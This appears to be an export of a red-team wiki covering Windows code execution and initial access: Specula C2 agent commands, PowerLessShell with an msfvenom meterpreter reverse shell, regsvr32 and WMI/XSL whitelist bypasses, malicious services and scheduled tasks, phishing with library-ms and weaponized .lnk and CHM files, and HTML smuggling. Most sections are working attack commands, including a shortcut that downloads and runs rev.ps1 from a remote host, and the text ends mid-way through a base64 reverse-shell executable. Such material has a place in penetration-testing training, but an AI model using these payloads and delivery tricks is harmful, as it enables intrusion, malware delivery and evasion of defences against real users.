1   DEMO-VICTIME-PC:User           192.168.206.172   10           08/14/2024-11:50:56   NO (Checkin: 2 of 0)N/A                      False/False

# Approve Agent
SpeculaC2> approveAgent 1
Agent will be approved on next callback
```

{% endtab %}

{% tab title="Execute" %}

#### Select Agent

In order to assign tasks to agents and execute code, we first need to select it

```powershell
# List agents
id  hostname:username             ip address        refreshTime  Lastseen              approved    encryptionkey            api installed/verified
1   DEMO-VICTIME-PC:User          192.168.206.172   10           08/14/2024-11:51:21   YES         HNjPsC0pruHvYPTTZVXpAA   False/False

# Select agent
SpeculaC2> interact 1
```

#### Execute a module

```powershell
# Upload a file
SpeculaC2:hostname>usemodule operation/file/put_file
SpeculaC2:hostname:operation/file/put_file>set file /tmp/file2upload.txt
SpeculaC2:hostname:operation/file/put_file>set destination c:\temp\file2upload.txt
SpeculaC2:hostname:operation/file/put_file>run
Module operation/file/put_file added to execution queue
SpeculaC2:hostname>07/24/2024-08:02:30 - Finished uploading file to hostname at c:\temp\file2upload.txt - Sizes match: server:7 - agent:7

# Directory listing
SpeculaC2:hostname>usemodule operation/file/list_dir
SpeculaC2:hostname:operation/file/list_dir>set directory c:\temp
SpeculaC2:hostname:operation/file/list_dir>run
Module operation/file/list_dir added to execution queue
SpeculaC2:hostname>data
07/24/2024-07:59:29 -- operation/file/list_dir
Parent Folder: c:\temp
F: C:\temp\importantfile.txt - Size: 0mb - LastModified: 7/22/2024 1:19:18 PM

# Spawn a process
SpeculaC2:hostname>usemodule execute/host/spawnproc_explorer
SpeculaC2:hostname:execute/host/spawnproc_explorer>set command c:\windows\system32\msiexec.exe
SpeculaC2:hostname:execute/host/spawnproc_explorer>set arguments /?
SpeculaC2:hostname:execute/host/spawnproc_explorer>run
```

{% endtab %}
{% endtabs %}

## Resources

{% embed url="<https://trustedsec.com/resources/tools/specula>" %}

{% embed url="<https://github.com/trustedsec/specula/wiki>" %}


# Powershell Without Powershell.exe

## Theory

PowerShell.exe primarily serves as a graphical interface for handling input and output, while the core functionality resides in the managed DLL[ **System.Management.Automation.dll**](https://learn.microsoft.com/en-us/dotnet/api/system.management.automation?view=powershellsdk-7.4.0). This DLL is responsible for creating and managing **runspaces**, which serve as isolated execution environments for PowerShell commands and scripts.

Since [runspaces](https://learn.microsoft.com/en-us/powershell/scripting/developer/hosting/creating-runspaces?view=powershell-7.4) operate independently of **PowerShell.exe**, we can create a custom program to establish and control a runspace, allowing us to execute PowerShell code outside the standard PowerShell interface.

Alternatively, projects like [**NoPowerShell**](https://github.com/bitsadmin/nopowershell) completely reimplements common cmdlets in **C#**, bypassing the need for **PowerShell.exe** or **System.Management.Automation.dll**.

If you encounter a scenario where **PowerShell.exe is blocked** or [**Constrained Language Mode**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) is enforced, but no strict application whitelisting is in place, alternative execution methods can still enable PowerShell execution.

## Practice

{% tabs %}
{% tab title="PowerLessShell" %}
[PowerLessShell](https://github.com/Mr-Un1k0d3r/PowerLessShell.git) is a Python-based tool that generates malicious code to run on a target machine without showing an instance of the PowerShell process. PowerLessShell relies on abusing the Microsoft Build Engine (MSBuild), a platform for building Windows applications, to execute remote code.

```bash
#Generate a malisious powershell script
v4resk@kali$ msfvenom -p windows/meterpreter/reverse_winhttps LHOST=AttackBox_IP LPORT=4443 -f psh-reflection > liv0ff.ps1

#Generate a .csproj with PowerLessShell
v4resk@kali$ python2 PowerLessShell.py -type powershell -source /tmp/liv0ff.ps1 -output liv0ff.csproj

#Execute it on the target with MSBuild.exe
C:\Users\thm> c:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe c:\Users\thm\Desktop\liv0ff.csproj
```

{% endtab %}

{% tab title="NoPowershell" %}
{% hint style="success" %}
NoPowerShell doesn't use`System.Management.Automation.dll` or RunSpaces, only native .NET libraries. **NoPowerShell** **directly implements cmdlet functionality**
{% endhint %}

[NoPowerShell](https://github.com/bitsadmin/nopowershell) is a tool implemented in C# which supports executing PowerShell-like commands while remaining invisible to any PowerShell logging mechanisms.

This .NET Framework 2 compatible binary can be loaded in Cobalt Strike to execute commands in-memory. An alternative usecase for NoPowerShell is to launch it as a DLL via rundll32.exe:

```powershell
C:\Users\v4resk> rundll32 NoPowerShell.dll,main
```

{% endtab %}

{% tab title="PowerShdll" %}
We can load [PowerShdll](https://github.com/p3nt4/PowerShdll) with rundll32.exe to gain a shell

```bash
C:\Users\v4resk> rundll32.exe PowerShdll.dll,main
```

{% endtab %}

{% tab title="SyncAppvPublishingServer" %}
Windows 10 comes with SyncAppvPublishingServer.exe and SyncAppvPublishingServer.vbs that can be abused with code injection to execute powershell commands from a Microsoft signed script:

```bash
C:\Users\v4resk> SyncAppvPublishingServer.vbs "Break; iwr http://10.0.0.5:443"
```

{% endtab %}

{% tab title="C#" %}
Here's a C# code snippet that demonstrates creating a custom PowerShell runspace to execute commands:

{% code title="RunspacePoc.cs" %}

```csharp
using System;
using System.Management.Automation;
using System.Management.Automation.Runspaces;

class Program
{
    static void Main()
    {
        string command = "Write-Output 'Hello from PowerShell'";

        using (Runspace runspace = RunspaceFactory.CreateRunspace())
        {
            runspace.Open();
            using (PowerShell ps = PowerShell.Create())
            {
                ps.Runspace = runspace;
                ps.AddScript(command);

                foreach (var result in ps.Invoke())
                {
                    Console.WriteLine(result);
                }
            }
        }
    }
}
```

{% endcode %}

To compile this code on Unix-based systems, we can use the following [mono](https://www.mono-project.com/download/stable/#download-lin) command to include the `System.Management.Automation.dll`:

{% hint style="info" %}
To include it in your Windows Visual Studio project or compile it on Linux, locate the DLL on Windows systems at:

`C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management`
{% endhint %}

```bash
mono-csc RunspacePoc.cs -r:System.Management.Automation.dll
```

{% endtab %}
{% endtabs %}

## Resources

{% embed url="<https://tryhackme.com/room/livingofftheland>" %}

{% embed url="<https://www.ired.team/offensive-security/code-execution/powershell-without-powershell>" %}


# RegSrv32

## Theory

Regsvr32 is a Microsoft command-line tool to register and unregister Dynamic Link Libraries (DLLs) in the Windows Registry. Besides its intended use, regsvr32.exe binary can also be used to execute arbitrary binaries and bypass the Windows Application Whitelisting.

Application Whitelisting is a Microsoft endpoint security feature that prevents malicious and unauthorized programs from executing in real-time. Application whitelisting is rule-based, where it specifies a list of approved applications or executable files that are allowed to be present and executed on an operating system.

## Practice

{% tabs %}
{% tab title="Regsvr32.exe" %}

```bash
#Execute dll
c:\Windows\System32\regsvr32.exe c:\Users\pwn\Downloads\malicious.dll

#Or
c:\Windows\System32\regsvr32.exe /s /n /u /i:http://example.com/file.sct Downloads\malicious.dll
```

With the .sct file as:

```bash
#http://example.com/file.sct
<?XML version="1.0"?>
<scriptlet>
<registration
  progid="TESTING"
  classid="{A1112221-0000-0000-3000-000DA00DABFC}" >
  <script language="JScript">
    <![CDATA[
      var foo = new ActiveXObject("WScript.Shell").Run("calc.exe"); 
    ]]>
</script>
</registration>
</scriptlet>
```

The MITRE ATT\&CK framework refers to this technique as [Signed Binary Proxy Execution (T1218)](https://attack.mitre.org/techniques/T1218/)
{% endtab %}
{% endtabs %}

## Resources

{% embed url="<https://tryhackme.com/room/livingofftheland>" %}

{% embed url="<https://www.ired.team/offensive-security/code-execution/t1117-regsvr32-aka-squiblydoo>" %}


# Scheduled Tasks

MITRE ATT\&CK™  Scheduled Task/Job  - Technique T1053.002

## Theory

Windows scheduled tasks can also be leveraged to run arbitrary commands since they execute a command when started.

## Practice

{% tabs %}
{% tab title="schtasks.exe" %}
On windows, we can use the built in schtasks.exe binary to remotely interact with services

```bash
#Create a Task
schtasks /RU "SYSTEM" /create /tn "MyTask" /tr "<command/payload to execute>" /sc ONCE /sd 01/01/1970 /st 00:00 

#Run It 
schtasks /run /TN "MyTask" 

#Delete a Task
schtasks /TN "MyTask" /DELETE /F
```

{% endtab %}
{% endtabs %}

You may want to check this page for remote scheduled tasks execution :

{% content-ref url="/pages/qqdTNVbpmQsu0MEUFx8Q" %}
[Scheduled Tasks (ATSVC)](/redteam/pivoting/scheduled-tasks-atsvc)
{% endcontent-ref %}


# Services

MITRE ATT\&CK™   System Services - Service Execution  - Technique T1569.002

## Theory

Windows services can also be leveraged to run arbitrary commands since they execute a command when started.

## Practice

{% tabs %}
{% tab title="sc.exe" %}
On windows, we can use the built in sc.exe binary to remotely interact with services

```bash
#Create a service
sc.exe create MyService binPath= "net user munra Pass123 /add" start= auto
sc.exe create MyService binPath= "C:\Windows\TEMP\payload.exe" start= auto

#Start a service
sc.exe start MyService

#Stop and delete a remote service
sc.exe stop MyService
sc.exe delete MyService
```

{% endtab %}
{% endtabs %}

You may want to check this page for remote services execution :

{% content-ref url="/pages/DAjgoXGiux0uJKi2UbB8" %}
[Services (SVCCTL)](/redteam/pivoting/services-svcctl)
{% endcontent-ref %}


# Windows Library Files

## Theory

Windows Library files (.library-ms files) are a virtual container for user content. It can be used to point to a remote or local storage location.

We may send this file by e-mail and use social engineering to get the recipient to open the container (it will appear as a normal directory in Windows Explorer) and then to double-click on our hosted payload to execute it.

{% hint style="success" %}
By delivering our payload via a Windows Library File rather than directly sending a link directly to a remote server hosting our payload, we may avoid IDS/IPS/Anti-spam solutions.
{% endhint %}

{% hint style="info" %}
When SearchConnectorDescription section of the library-ms file points to a remote location, it will [force authentication](/ad/movement/mitm-and-coerced-authentications) through explorer when opening the container folder.
{% endhint %}

## Practice

{% tabs %}
{% tab title="library-ms + lnk" %}
In this scenario, we'll create a `.library-ms` file pointing to our WebDAV server that is hosting a malicious `.lnk` file. The user will need to open both container and shortcut files to execute our payload.

First, let's create our malicious `.lnk` shortcut using [lnk.py](https://github.com/blacklanternsecurity/mklnk) (Python).

```bash
# -a : Arguments
# -i : Icon location
python2.7 lnk.py evil.lnk 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' -a '-c "iex(iwr http://192.168.45.225/rev.ps1 -UseBasicParsing)"' -i 'C:\Windows\System32\Notepad.exe'
```

Then, start a WebDAV server to host our payload

```bash
# Install with: sudo apt install python3-wsgidav
wsgidav --host=0.0.0.0 --port=80 --auth=anonymous --root .
```

We can now create our `evil.library-ms` file with the following content

<pre class="language-xml" data-title="evil.library-ms"><code class="lang-xml">&#x3C;?xml version="1.0" encoding="UTF-8"?>
&#x3C;libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
&#x3C;name>@windows.storage.dll,-34582&#x3C;/name>
&#x3C;version>6&#x3C;/version>
&#x3C;isLibraryPinned>true&#x3C;/isLibraryPinned>
&#x3C;iconReference>imageres.dll,-1003&#x3C;/iconReference>
&#x3C;templateInfo>
&#x3C;folderType>{7d49d726-3c21-4f05-99aa-fdc2c9474656}&#x3C;/folderType>
&#x3C;/templateInfo>
&#x3C;searchConnectorDescriptionList>
&#x3C;searchConnectorDescription>
&#x3C;isDefaultSaveLocation>true&#x3C;/isDefaultSaveLocation>
&#x3C;isSupported>false&#x3C;/isSupported>
&#x3C;simpleLocation>
<strong>&#x3C;url>http://ATTACKING_IP&#x3C;/url>
</strong>&#x3C;/simpleLocation>
&#x3C;/searchConnectorDescription>
&#x3C;/searchConnectorDescriptionList>
&#x3C;/libraryDescription>
</code></pre>

If you created this file on linux, we may need to change the text encoding as follow

```bash
unix2dos evil.library-ms
```

We can now send the evil.library-ms file to the target !
{% endtab %}
{% endtabs %}

## Resources

{% embed url="<https://filesec.io/library-ms>" %}


# HTML Help Files

## Theory

HTML Help File (.chm) is a file type created by Microsoft around 1997, for software documentation and user manuals. These files are consistent of HTML compressed pages that include indexes and content tables with hyperlinks to all pages. The interesting and dangerous part is that these hyperlinks can link to internal or external resources, **which can be weaponized to download malicious scripts or executables**.

<figure><img src="/files/iWuLHuF000DKof8EHhpE" alt="" width="563"><figcaption><p>.chm file example</p></figcaption></figure>

The files are compressed and deployed in a binary format with the extension. CHM, for Compiled HTML. They can be viewed using the HTML Help program ***(hh.exe)*** that runs whenever a user clicks on a compiled CHM file.

{% hint style="danger" %}
Though Microsoft stopped supporting the .chm format around 2007, they are still can be opened in modern Windows versions
{% endhint %}

## Practice

{% tabs %}
{% tab title="Powershell" %}
[Nishang](https://github.com/samratashok/nishang) comes with a script called [Out-CHM.ps1](https://github.com/samratashok/nishang/blob/master/Client/Out-CHM.ps1) that we can use to craft our malicious HTML Help File.

First, on a VM, download [**Microsoft HTML Help Workshop and Documentation**](https://www.microsoft.com/en-us/download/details.aspx?id=21138)**.** Then generate a malicious file as follow:

```powershell
Import-Module .\Out-CHM.ps1
Out-CHM -payload "powershell -e JABz...." -HCCPATH "C:\Program Files (x86)\HTML Help Workshop"
```

Now we can send the file to our target !
{% endtab %}
{% endtabs %}

## Resources

{% embed url="<https://medium.com/r3d-buck3t/weaponize-chm-files-with-powershell-nishang-c98b93f79f1e>" %}


# WMI

MITRE ATT\&CK™  Windows Management Instrumentation - Technique T1047

## Theory

Windows Management Instrumentation (WMI) provides a standardized way for querying and managing various elements of a Windows operating system. It allow administrators to perform standard management tasks that attackers can abuse to perform code execution.

We can use WMI to execute binary, commands, msi, services, scheduled tasks or XSL file that contain javascript payload with WMIC.

## Practice

{% tabs %}
{% tab title="Commands" %}
Execute a local binary or a command using wmic.exe

```bash
wmic.exe process call create "C:\Windows\Temp\evil.exe"
wmic.exe process call create "cmd.exe /c calc.exe"
```

Or we may use powershell

```powershell
#Execute a command remotely 
$Command = "powershell.exe -Command Set-Content -Path C:\text.txt -Value munrawashere";

#Powershell v1+
Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList $Command

#Powershell v3+
Invoke-CimMethod -ClassName Win32_Process -MethodName Create -Arguments @{ CommandLine = $Command }
```

{% endtab %}

{% tab title="XSL" %}
Another application whitelist bypassing technique discovered by Casey @subTee, similar to squiblydoo

Define the XSL file containing the jscript payload:

```bash
#evil.xsl
<?xml version='1.0'?>
<stylesheet
xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt"
xmlns:user="placeholder"
version="1.0">
<output method="text"/>
	<ms:script implements-prefix="user" language="JScript">
	<![CDATA[
	var r = new ActiveXObject("WScript.Shell").Run("calc");
	]]> </ms:script>
</stylesheet>
```

Invoke wmic command and specify /format pointing to the evil.xsl:

```bash
wmic os get /FORMAT:"evil.xsl"
```

{% endtab %}

{% tab title="MSI" %}
Install a msi package using wmic.exe

```bash
wmic product call install PackageLocation=c:\Windows\myinstaller.msi
```

Or we may use powershell

```powershell
#Powershell v1+
Invoke-WmiMethod -Path win32_product -name install -argumentlist @($true,"","C:\Windows\myinstaller.msi")

#Powershell v3+
Invoke-CimMethod -ClassName Win32_Product -MethodName Install -Arguments @{PackageLocation = "C:\Windows\myinstaller.msi"; Options = ""; AllUsers = $false}
```

{% endtab %}
{% endtabs %}

You may want to check this page for remote WMI execution :

{% content-ref url="/pages/bBoV6hPjmYRVP6w1UZpC" %}
[Remote WMI](/redteam/pivoting/remote-wmi)
{% endcontent-ref %}

## Resources

{% embed url="<https://tryhackme.com/room/livingofftheland>" %}

{% embed url="<https://www.ired.team/offensive-security/code-execution/application-whitelisting-bypass-with-wmic-and-xsl>" %}


# Script Exploits

In this section, you will find various bash, pythons, ruby & perl exploits that may be used for Privilege Escalation or Code Execution.

{% content-ref url="/pages/tOUfSnDGdeu3ZxGsR6f8" %}
[Script Exploits](/redteam/privilege-escalation/linux/script-exploits)
{% endcontent-ref %}


# Sliver

<https://sliver.sh/docs>\
<https://tishina.in/opsec/sliver-opsec-notes>


# Initial Access

MITRE ATT\&CK™ Initial Access - Tactic TA0001

## Theory

Initial Access consists of techniques that use various entry vectors to gain initial foothold within a network or target. This is how will the weaponized function be delivered to the target. Techniques used to gain a foothold include targeted spearphishing and exploiting weaknesses on public-facing web servers, and even password spraying/guessing.

![](/files/FNiCykG30k371VHOdwj7)

The "Initial Access" Technique of MITRE ATT\&CK Framework may refer to the "Delivery" step of the Unified Kill Chain.

## Resources

{% embed url="<https://attack.mitre.org/tactics/TA0001/>" %}

{% embed url="<https://www.unifiedkillchain.com/#thescience>" %}


# Network Services

By leveraging the inherent functionalities, vulnerabilities, and misconfiguration of network protocols and services, we may bypass security measures and gain initial access to a target system. The section below explores the tactics employed by attackers to abuse various network protocols.

{% content-ref url="/pages/oB0FThwUABBwRvpaxodD" %}
[Network services](/network-pentesting/protocols)
{% endcontent-ref %}


# Password Attacks

We may use password attacks techniques such as brute force to gain access to credentials and accounts that may lead to an initial access.

{% content-ref url="/pages/uovvoXgSRZA2YP51qSkl" %}
[Password Attacks](/redteam/credentials/passwd)
{% endcontent-ref %}


# Phishing


# HTML Smuggling

MITRE ATT\&CK™ Obfuscated Files or Information: HTML Smuggling - Technique T1027.006

## Theory

We may smuggle data and files past content filters by hiding malicious payloads inside of seemingly benign HTML files. HTML documents can store large binary objects known as JavaScript Blobs (immutable data that represents raw bytes) that can later be constructed into file-like objects.

When a target user opens the HTML in their web browser, the browser decodes the malicious payload, which, in turn, assembles the payload on the host device. Thus, instead of having a malicious executable pass directly through a network, the victime builds the malware locally behind a firewall.

<figure><img src="/files/VWwTXiGjLHO65XI2h0k5" alt=""><figcaption></figcaption></figure>

## Practice

{% tabs %}
{% tab title="Delivery" %}
First of, we need to base64 our payload.

```bash
base64 evil.exe
```

Then, we can embed the output into the following example HTML / Javascript code

```html
<!-- code from https://outflank.nl/blog/2018/08/14/html-smuggling-explained/ -->
<html>
    <body>
        <script>
            function base64ToArrayBuffer(base64) {
            var binary_string = window.atob(base64);
            var len = binary_string.length;
            
            var bytes = new Uint8Array( len );
                for (var i = 0; i < len; i++) { bytes[i] = binary_string.charCodeAt(i); }
                return bytes.buffer;
            }

            // 32bit simple reverse shell
            var file = 'TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA6AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAACTOPDW11mehddZnoXXWZ6FrEWShdNZnoVURZCF3lmehbhGlIXcWZ6FuEaahdRZnoXXWZ+FHlmehVRRw4XfWZ6Fg3quhf9ZnoUQX5iF1lmehVJpY2jXWZ6FAAAAAAAAAAAAAAAAAAAAAFBFAABMAQQA+4eESgAAAAAAAAAA4AAPAQsBBgAAsAAAAKAAAAAAAAA/PgAAABAAAADAAAAAAEAAABAAAAAQAAAEAAAAAAAAAAQAAAAAAAAAAGABAAAQAAAAAAAAAgAAAAAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAAbMcAAHgAAAAAUAEAyAcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAODBAAAcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADAAADgAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALnRleHQAAABmqQAAABAAAACwAAAAEAAAAAAAAAAAAAAAAAAAIAAAYC5yZGF0YQAA5g8AAADAAAAAEAAAAMAAAAAAAAAAAAAAAAAAAEAAAEAuZGF0YQAAAFxwAAAA0AAAAEAAAADQAAAAAAAAAAAAAAAAAABAAADALnJzcmMAAADIBwAAAFABAAAQAAAAEAEAAAAAAAAAAAAAAAAAQAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFXLkYEwDAQWLU3UAkEAU1ajuRdBAIKoC0L3oytAQQCjBE9BADMWo0hQQa5XjUUMBY1NCFBRmgXwF0EARPhAAJEdQK9BVejWTAAAaOBfQADo2HEAXoPEBFMkU2gfQOgA6PzdDQCLVUdC1ghHukxAQVlSUI1V9FHw6EQlAACLVWuNRfyNTftQUWhD0rsAUujeSgAAhcAPhZoEeACLNWjBQDcPgUVReMC/g+k5D9dmBLYAzcmKiAgvugBdWo2YFkAAi1X8Uv8VzsFAAPfEBDs4o/NiQAAPjz0EAACf+NHSAOhtBsQl6SsEAADHBWgCLgAemAAA6SAEAOaJdBTQQDrptkVmO4tF/FD/FUHBQACjGNBAAOn9MwDDi038qZs8bME4AKNsAkEA6ekDIAA5HWBhQQBaDWjY0UAk6BQGALOD/GrHBWAC2AL/////6cgDAACLVfxS/xWIwUAAoxELQQDpsQPNNXQdHJBA9+mYAwATi338UP8ViJtAADvgF0EA6ZIDAP6JHSDQQADplgNtADkdYAJBenQNaLzRQADosgUAAIPEBLNN/FHohjUA+p/EBDvDdQ9gBXcCQQAB0AAA6VYDAABoMSA4NQAPhEp+AABQ/xVwwXgAOctgXEEAdA1ooNFAAOhrBQYAg8S2i1X8U